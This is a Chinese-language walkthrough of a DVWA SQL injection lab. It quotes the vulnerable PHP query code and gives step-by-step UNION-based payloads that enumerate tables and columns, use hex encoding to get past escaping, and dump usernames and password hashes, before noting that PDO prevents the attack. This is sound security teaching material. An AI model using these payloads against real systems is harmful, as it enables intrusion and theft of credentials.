一、SQL注入介紹
1.1、通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。通過SQL注入可以對程序對應的數據存儲區進行對應的探測。
1.2、形成SQL注入漏洞的原因:
1、用戶輸入不可控
2、輸入內容被帶入SQL語句執行
1.3、手工注入常規思路:
1、判斷是否存在注入,注入是字符型還是數字型
2、猜解SQL查詢語句中的字段數
3、確定回顯位置
4、獲取當前數據庫,獲取數據庫中的表,獲取字段名
5、得到數據
二、SQL注入(low)
2.1、分析源碼,可以看到沒有對參數做任何的過濾,直接帶入數據庫進行查詢,分析查詢語句可能存在字符型注入,也可以分別輸入1+2,和3,判斷是否是數字型。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) { //判斷Submit變量是否存在
// Get input
$id = $_REQUEST[ 'id' ]; //沒有對參數進行過濾
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";//帶''表示為字符型,不帶表示數字型
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
mysql_query()函數,如果是執行查詢之類的語句(select),那么會返回一個資源標識符,也就是我們要查找的數據結果集;如果是執行增刪改之類的語句,返回的就是true或者false了。
2.2、測試sql是否存在注入以及注入的類型,這里可以用1'and'1'='1

2.3、猜解sql查詢語句中的字段數,1' order by 2#有結果,1' order by 3#錯誤,得到表的字段數是2


2.4、構建聯合查詢,確定回顯位置1' union select 1,2#可以看出有兩個回顯

2.5、查詢當前的數據庫以及版本1' union select version(),database()#

2.6、獲取數據庫中的表 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

2.7、獲取表中的字段名1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

2.8、獲取字段中的數據1' union select user,password from users#

字符型注入最關鍵的其實就是如何閉合SQL語句以及注釋多余的代碼,比如說
'or 1=1 or' user_id=''or 1=1 or'' 假or真or假
1'or'1'='1 user_id='1'or'1'='1' 真or真
'or 1=1 # user_id=''or 1=1 #' 假or真
'or 1=1 -- user_id=''or 1=1 --' 假or真
二、SQL注入(medium)
2.1、代碼分析,中級然用戶輸入,只提供選擇,分析源碼可以看到對參數使用mysql_real_escape_string函數轉義sql語句中特殊字符如' '' / 空字符,查看sql查詢語句可以看出可能存在數字型sql注入

2.2、存在注入並且注入類型為數字型

2.3、猜解字段數,得到字段個數為2


2.4、確定回顯位置,下圖說明有兩個回顯位置,1 union select 1,2#

2.5、獲取當前數據庫及版本1 union select database(),version()#

2.6、獲取數據庫中的所有表1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

2.7、獲取表中的所有字段,由於單引號被轉義,'users'無法執行,可以利用16進制進行繞過
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

2.8、獲取字段中的數據1 union select user,password from users#

三、SQL注入(high)
代碼分析,點擊”here to change your ID”,頁面自動跳轉,防御了自動化的SQL注入,分析源碼可以看到,對參數沒有做防御,在sql查詢語句中限制了查詢條數

輸入1' union select user,password from users#獲得密碼

三、SQL注入(impossible)
分析源碼可以看出使用了PDO技術,杜絕了SQL注入。
PDO就是PHP data Object,提供了PHP操作多種數據庫的統一的接口

